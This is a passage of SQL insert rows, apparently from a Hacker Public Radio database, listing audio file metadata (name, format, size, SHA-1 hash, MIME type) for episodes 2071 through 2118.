(2071,'hpr2071.mp3','mp3',5351306,'500cdebd153d852f520c7831d3803c6bde578df1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2071,'hpr2071.ogg','ogg',6340563,'68bccda886da9eeef1e2c29cc27dc0256fd2a1f8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2071,'hpr2071.spx','spx',2389700,'06134d41e26eeae44af3bb44270ca214687d25f2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2072,'hpr2072.mp3','mp3',4287180,'e3aefc191f9eedd3f7b64b46f6315d62001a9f34','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2072,'hpr2072.ogg','ogg',4913772,'e9a1735ea4555b99c14a607451343f2723c8e17c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2072,'hpr2072.spx','spx',1914426,'2f466767205935ce9364294463d83111afe4d66a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2073,'hpr2073.mp3','mp3',6802273,'51c1540280cdf0cdc20aa370e7ee8da81dab84a7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2073,'hpr2073.ogg','ogg',7594358,'2552b70133f1b5b3a82d6da894dc87dc7cd5ef4d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2073,'hpr2073.spx','spx',3037779,'69441f5c7d8398d4b95e5afe91b9ab7548f0cdf8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2074,'hpr2074.mp3','mp3',8398657,'722583a6e0bb4fd51b365aa1b21356a2f372e504','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2074,'hpr2074.ogg','ogg',7664420,'bedec0f838f474066ef4d28a84fe5a8dd44f867c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2074,'hpr2074.spx','spx',3750698,'1a6be0c190c9e2d2037b24b318eefc2ecc5cc9ea','application/ogg; charset=binary','Ogg data, Speex audio'),
(2075,'hpr2075.mp3','mp3',3924976,'47cc2662724b94f59e49b61803856c5273f4c974','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2075,'hpr2075.ogg','ogg',4544077,'15c124f6cfce2d6b40b2878856476ea6882732fd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2075,'hpr2075.spx','spx',1752613,'05a4c363aab70545caa82b2c9bc492b9f5af7557','application/ogg; charset=binary','Ogg data, Speex audio'),
(2076,'hpr2076.mp3','mp3',3490783,'e2ddefdc19fa1aa2cab90037c2d1ac58476fb50b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2076,'hpr2076.ogg','ogg',3919862,'8aad7f4fa7975d129a0d8efca6e416962cd7ee69','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2076,'hpr2076.spx','spx',1558819,'1c32d6a0cb055185cc4acbd2c6d7890c1264bfab','application/ogg; charset=binary','Ogg data, Speex audio'),
(2077,'hpr2077.mp3','mp3',9870530,'90e80564566ff1432343769b115e0d9bef5c3ea5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2077,'hpr2077.ogg','ogg',10389956,'44625a3f2787565e5096ed21aabce8d3d3c3b4e0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2077,'hpr2077.spx','spx',4407997,'888975e7fdf67204636b26970e6e17efaac4cc33','application/ogg; charset=binary','Ogg data, Speex audio'),
(2078,'hpr2078.mp3','mp3',8141562,'4f8062eac388f8781265d7f8fa46739762d59467','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2078,'hpr2078.ogg','ogg',10508934,'ee5395481f31e664236a84a6a95c3be1f3d76a40','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2078,'hpr2078.spx','spx',3635892,'f2503dc11c5a0baf4c7a159062c86d745896952c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2079,'hpr2079.mp3','mp3',3771176,'66b944913088215cf656830882b6ec44f13d9df9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2079,'hpr2079.ogg','ogg',4445523,'c59805c6a5d929127b39ddef573b1bc5a003ecb1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2079,'hpr2079.spx','spx',1683960,'ded248f47411e8beef8cb88d8d3fbbc4fa9944fa','application/ogg; charset=binary','Ogg data, Speex audio'),
(2080,'hpr2080.mp3','mp3',7825797,'0dcb95fa04c0dc8c91cb774d7e220e26f39f094a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2080,'hpr2080.ogg','ogg',8599349,'c8be392dc759a1229a4b55b1c43d5fbf6355e152','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2080,'hpr2080.spx','spx',3494824,'a6a56d7b6bb4ae04b11ca8c60749e1e0c83b96ae','application/ogg; charset=binary','Ogg data, Speex audio'),
(2081,'hpr2081.mp3','mp3',6410204,'971b726cd1c1ea20575e7d7abe1bb634510f16c6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2081,'hpr2081.ogg','ogg',7272336,'25ab9139df528b37679dc7e625714d5d18420a1b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2081,'hpr2081.spx','spx',2862600,'89554d346e5ee53ca596880dc945fc9e166d4efd','application/ogg; charset=binary','Ogg data, Speex audio'),
(2082,'hpr2082.mp3','mp3',10072358,'3f6afcb53b05a80c7f72468516e7e61a58cea0c0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2082,'hpr2082.ogg','ogg',10558580,'88b0c8145e18a3cd379cf62c36feb0031cb16141','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2082,'hpr2082.spx','spx',4498120,'a6661dce43e0b49e59a82af66532b300abdc723f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2083,'hpr2083.mp3','mp3',3323375,'102814663bea1f491f97d94986821f08d3387f54','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2083,'hpr2083.ogg','ogg',3764579,'66428613e392f8201b24db400ce73bb41c2e2bee','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2083,'hpr2083.spx','spx',1483977,'539927702a7c853306608ea7865fb1ed20a23b38','application/ogg; charset=binary','Ogg data, Speex audio'),
(2084,'hpr2084.mp3','mp3',12027393,'c2551f29bac61f31615c309649f7f646d1e6b461','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2084,'hpr2084.ogg','ogg',13559379,'83f6448267489b4fc01da64b38c15fb5b7255a44','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2084,'hpr2084.spx','spx',5371360,'dce83ad3c14710d4ee9bbc15b26b53e57387bd7f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2085,'hpr2085.mp3','mp3',11782426,'144ed43c8062c634c155d09fd5f730daa920e1b6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2085,'hpr2085.ogg','ogg',13721144,'697f801256025e7224687def477f387dc7d56130','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2085,'hpr2085.spx','spx',5261914,'d757c69e0889b0f505bcdc5c5d23f3b462e97c3f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2086,'hpr2086.mp3','mp3',34385670,'1c9f943fe75ae0998711ba041294c5624717b9bd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2086,'hpr2086.ogg','ogg',34272351,'3c13767ba8fd058f8a659315494ed3bd03d037df','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2086,'hpr2086.spx','spx',15356689,'10a918bc1a5f92202747e2e70b3b53dc4f3b269d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2087,'hpr2087.mp3','mp3',2818635,'54f502d52a0abb061f233d0344e3088bda73d167','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2087,'hpr2087.ogg','ogg',3190426,'4ff5bfd7487a9ba01c11dc1342fc04e5f14ed4b2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2087,'hpr2087.spx','spx',1258557,'78f3f1b30637ded9308a897f174a0987b5ce5870','application/ogg; charset=binary','Ogg data, Speex audio'),
(2088,'hpr2088.mp3','mp3',17095963,'71c8f135d17a8a86d85ef9fc6a60e7a6ca04ab93','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2088,'hpr2088.ogg','ogg',15218971,'a29a8287a1f1e1b5cc97184dd122ea01eaa15a19','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2088,'hpr2088.spx','spx',7634905,'5e823a8ce784e2ad5e950959b775054b67314ffd','application/ogg; charset=binary','Ogg data, Speex audio'),
(2089,'hpr2089.mp3','mp3',10826156,'490e8223bc720b2d92ea8dc40f923744c5187836','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2089,'hpr2089.ogg','ogg',12745009,'e940c7c03d40598872db52c0aa85daa81c9d2875','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2089,'hpr2089.spx','spx',4834770,'db7fbe9bf714ab9403a0712e7e8a8479e6af9121','application/ogg; charset=binary','Ogg data, Speex audio'),
(2090,'hpr2090.mp3','mp3',16044131,'8f1660ae9ed60c4621d3bc042ef79c7b503fe0bc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2090,'hpr2090.ogg','ogg',17473495,'f714330f087b65f62e254038f38be221c309046a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2090,'hpr2090.spx','spx',7165187,'4722d2770f2d49fcd19b50428654d4aeb25bb96e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2091,'hpr2091.mp3','mp3',15597805,'f2a4a3aa9164359fea238b76e40882f95fcf2677','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2091,'hpr2091.ogg','ogg',16667694,'a1e2e6e63be34eeae6960cd4834ddec5d1fc7e15','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2091,'hpr2091.spx','spx',6965883,'f5ad86ba20f2177fe9f11e8c42136c8e6d4a3321','application/ogg; charset=binary','Ogg data, Speex audio'),
(2092,'hpr2092.mp3','mp3',16022784,'881acf97bbfec8eeae1956845802e2592cd2cd95','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2092,'hpr2092.ogg','ogg',16919432,'62ac17e4e64d63e4b84f9df39067bd6c5b2c1da1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2092,'hpr2092.spx','spx',7155658,'339ae5bb4a12b72476b862d386725e1fe27ccee0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2093,'hpr2093.mp3','mp3',10680698,'dbcfc09ca48a6e7aba52e5455ee1fae1098a971f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2093,'hpr2093.ogg','ogg',11767055,'efdd7a64912b8e4bb725123dc922d4057dcd5869','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2093,'hpr2093.spx','spx',4769888,'e4c6352b2ca9d18118db94a62725276c6a170600','application/ogg; charset=binary','Ogg data, Speex audio'),
(2094,'hpr2094.mp3','mp3',7046147,'1423425b0ab8fdc8d0c978b08e38a4c251a8c360','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2094,'hpr2094.ogg','ogg',8054466,'96daf0087400ab4b8a625619aa2c7e0af077ad79','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2094,'hpr2094.spx','spx',3146679,'8d55c35a888ac4ede5cf8c9c2abf80ed4e189ac9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2095,'hpr2095.mp3','mp3',20773960,'fb139d4c3da87d778f0e5769943c3fd9476fca43','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2095,'hpr2095.ogg','ogg',21171334,'f0abd6bd51d3e541aeca306d11b66638b523e121','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2095,'hpr2095.spx','spx',9277610,'58f2bebca7c6ef578c5101ffc0b2337b023fee6e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2096,'hpr2096.mp3','mp3',12289633,'f7be49e2d53dd14cb585ee3b1c803948074f93e1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2096,'hpr2096.ogg','ogg',13856790,'04f07e62422d64fcae5d779e30191a590055aaf6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2096,'hpr2096.spx','spx',5488456,'bfd324c04d827ea6973be2c3afcbd26408e0dd63','application/ogg; charset=binary','Ogg data, Speex audio'),
(2097,'hpr2097.mp3','mp3',5527225,'e922a9f51b4148afd81ddfad4dc99c95c0cd81c1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2097,'hpr2097.ogg','ogg',6025772,'67260693c467e44d29c4871ae6987a530172c595','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2097,'hpr2097.spx','spx',2468271,'4b402731fc21fe2d3ce030c36843832da546e260','application/ogg; charset=binary','Ogg data, Speex audio'),
(2098,'hpr2098.mp3','mp3',7207035,'169eab916b95f8ac462502bba40d4124432b8796','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2098,'hpr2098.ogg','ogg',8165060,'7fecb019796aaba756d708f4164b0d58e1e19e80','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2098,'hpr2098.spx','spx',3218467,'fdbf7465dddd8e8c9343cfe5ec6579cbdb46d597','application/ogg; charset=binary','Ogg data, Speex audio'),
(2099,'hpr2099.mp3','mp3',18772762,'34310112db96da146de6a595edc6fd49ce56137a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2099,'hpr2099.ogg','ogg',19971974,'50274afb1cb379b7f465c87200893a5e54fa391b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2099,'hpr2099.spx','spx',8383808,'e4b8c1b7687310c89181aa5f5e99c172f18b9d15','application/ogg; charset=binary','Ogg data, Speex audio'),
(2100,'hpr2100.mp3','mp3',3294297,'869501e62b70bea0f571aa9d72ab1f1188c62921','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2100,'hpr2100.ogg','ogg',3695765,'e71da2ae24fa85e7196bd5faa9ac8781d3ae8a2c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2100,'hpr2100.spx','spx',1471015,'2b02f9c9702921a28e4b05dc7c470737fa2e2813','application/ogg; charset=binary','Ogg data, Speex audio'),
(2101,'hpr2101.mp3','mp3',5861381,'cf4605cfa8b97e32a68ae6b5377382379abb538b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2101,'hpr2101.ogg','ogg',6415979,'302198ff52a82c4038cd548087ad8237f2986568','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2101,'hpr2101.spx','spx',2617461,'09f9fb7acc13571958b831810b0e50a014a6d195','application/ogg; charset=binary','Ogg data, Speex audio'),
(2102,'hpr2102.mp3','mp3',4589609,'b272e644a52a8e9398bd65bc2fa08910268ae211','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2102,'hpr2102.ogg','ogg',4433683,'a0295afce2c6fec13cdd2c0f5cc4bc93ad42e259','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2102,'hpr2102.spx','spx',2049543,'9e5cee4c4bbca6ba8204cdfe7ab3218db5d82ba4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2103,'hpr2103.mp3','mp3',6145608,'20556a74f8886e7743b6165c17dea2ff26e5172a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2103,'hpr2103.ogg','ogg',6703275,'b9097eaee2767266552e0519631ac6fb24ca60fe','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2103,'hpr2103.spx','spx',2744383,'38e522dbdce4b9cacddb41746be2374b4edf8710','application/ogg; charset=binary','Ogg data, Speex audio'),
(2104,'hpr2104.mp3','mp3',12665137,'07da7e2ea4702a88d914df2868697f1346b3ec1f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2104,'hpr2104.ogg','ogg',13464640,'4dd63d5c78741d24d59d3b47fc262d8ef366acb3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2104,'hpr2104.spx','spx',5656069,'99f00bcd347ff746c6bbad4dd65dbfdcf103486f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2105,'hpr2105.mp3','mp3',18608746,'9619a4a59035ef4ac3cc9c7079714c1df543c1f3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2105,'hpr2105.ogg','ogg',18931953,'71b0069c6501e18c346c2cc14a195f9ce3666bbf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2105,'hpr2105.spx','spx',8310608,'a13faae4ce3a76cc5a20992acf49f053392dd992','application/ogg; charset=binary','Ogg data, Speex audio'),
(2106,'hpr2106.mp3','mp3',10574260,'f9b3275f5ebd044ebb07cc65d2c3d59069308055','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2106,'hpr2106.ogg','ogg',12728797,'4409cd11b91e58db0692d0ddc0fd647f12d9f24e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2106,'hpr2106.spx','spx',4722210,'e94e2ceb14fc8a68c69ead26f79816fd3df3f4f9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2107,'hpr2107.mp3','mp3',11404585,'9aeaa751dcf93adbb8a65c2a17f409cad23a5dcb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2107,'hpr2107.ogg','ogg',13773577,'521d115247f8dcc9150d530979c8fd6078231502','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2107,'hpr2107.spx','spx',5093126,'57ccfcfda1ef351d5da30664e44ad3533c086dd3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2108,'hpr2108.mp3','mp3',16591669,'c2098892ca6b48a53b6447e44336256c72a3b748','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2108,'hpr2108.ogg','ogg',18118361,'be54f3f376bdb6b9ecd59783085cd2d41f6dca9c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2108,'hpr2108.spx','spx',7409727,'30e2940ef6c5b56af66a87c30e04ebdb1cf4a814','application/ogg; charset=binary','Ogg data, Speex audio'),
(2109,'hpr2109.mp3','mp3',8460294,'9dc89566eaaca7a7bf15491e1270bf786964ded7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2109,'hpr2109.ogg','ogg',9746413,'5e577f49447829e78cb0bd55b7d21dcaefc43f36','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2109,'hpr2109.spx','spx',3778139,'e5227720e8a22bbcee2d8c2943b5fb4b162689b7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2110,'hpr2110.mp3','mp3',22791044,'8aad241667b6adca98f28a2f978b61b8cbcaf45e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2110,'hpr2110.ogg','ogg',25544112,'ad43e2fcaafede7fffbdd996d58d9f2c087194be','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2110,'hpr2110.spx','spx',10178427,'9b5dabdc465a8f8f0021531bb8ae34ea0837085f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2111,'hpr2111.mp3','mp3',45081482,'32377d23fdf0c07b6fbb5bbd6f388cf2304a34ad','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2111,'hpr2111.ogg','ogg',44136245,'f9999d57977de59537c40af5cde6c8e9875cb1b2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2111,'hpr2111.spx','spx',20133658,'bf21bdffaec47fe10b73634f2c034d47694f5bb0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2112,'hpr2112.mp3','mp3',8602958,'f154a82399cd153eb7b0582c9f269e5e296a62a5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2112,'hpr2112.ogg','ogg',10017468,'d6825eee64af2c11cb0e7d8332ec6bf24a0696a3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2112,'hpr2112.spx','spx',3841947,'a6990c0808d1f61527a1925a72710da607692703','application/ogg; charset=binary','Ogg data, Speex audio'),
(2113,'hpr2113.mp3','mp3',8221387,'fae2c5500bfedc584ee738cef9543fbcc72c1518','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2113,'hpr2113.ogg','ogg',9370115,'b9cd72742c036f82f85366663b03234ed0831aca','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2113,'hpr2113.spx','spx',3671460,'15a4226f5e0e91f45b4dcf12bfc388d045dc2cd3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2114,'hpr2114.mp3','mp3',11867862,'c1dc300b4e26c424eaa1ec1eed1d9c75937fb532','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2114,'hpr2114.ogg','ogg',12970106,'00b0813b3e4d88cc0c24b64b91a00b1b83de46e0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2114,'hpr2114.spx','spx',5299989,'28e6ad5f79a4afd87bb7ef8d6b441d0bde8711e6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2115,'hpr2115.mp3','mp3',7496083,'aef034460ca2a776b202c641454a46bb13409f28','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2115,'hpr2115.ogg','ogg',8540464,'b6925649f55c8baac7fa86a8ecafcc1d17b11c41','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2115,'hpr2115.spx','spx',3347532,'83c6e7ff1b571fd90659266823c3e518f9cbbb30','application/ogg; charset=binary','Ogg data, Speex audio'),
(2116,'hpr2116.mp3','mp3',7037350,'76ef722879e09c2cc99f525d8dbdcb099e78b5ae','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2116,'hpr2116.ogg','ogg',7110244,'23cdc23501e9dcfb79c48a50f50c8ade8846eea6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2116,'hpr2116.spx','spx',3142728,'b052aa4770e900ee835453c1589e93463f0a7945','application/ogg; charset=binary','Ogg data, Speex audio'),
(2117,'hpr2117.mp3','mp3',7254468,'8f6b654d9dde2d0f7da6f45877570fa39ca203fe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2117,'hpr2117.ogg','ogg',7886979,'63f43894fc6156d67422e89b4ccee05ca3bb6c64','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2117,'hpr2117.spx','spx',3239613,'eea645c9b8f32004221bcad89d1d6787f6521aaf','application/ogg; charset=binary','Ogg data, Speex audio'),
(2118,'hpr2118.mp3','mp3',9626988,'4a47bbdeda3ca6b4931353870297195803133d72','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2118,'hpr2118.ogg','ogg',10311571,'440cd0bac51cff179044258a83501849c6fd53ed','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2118,'hpr2118.spx','spx',4299294,'dca177fcd777f440431a5741d3dcf837b5b47fee','application/ogg; charset=binary','Ogg data, Speex audio'),
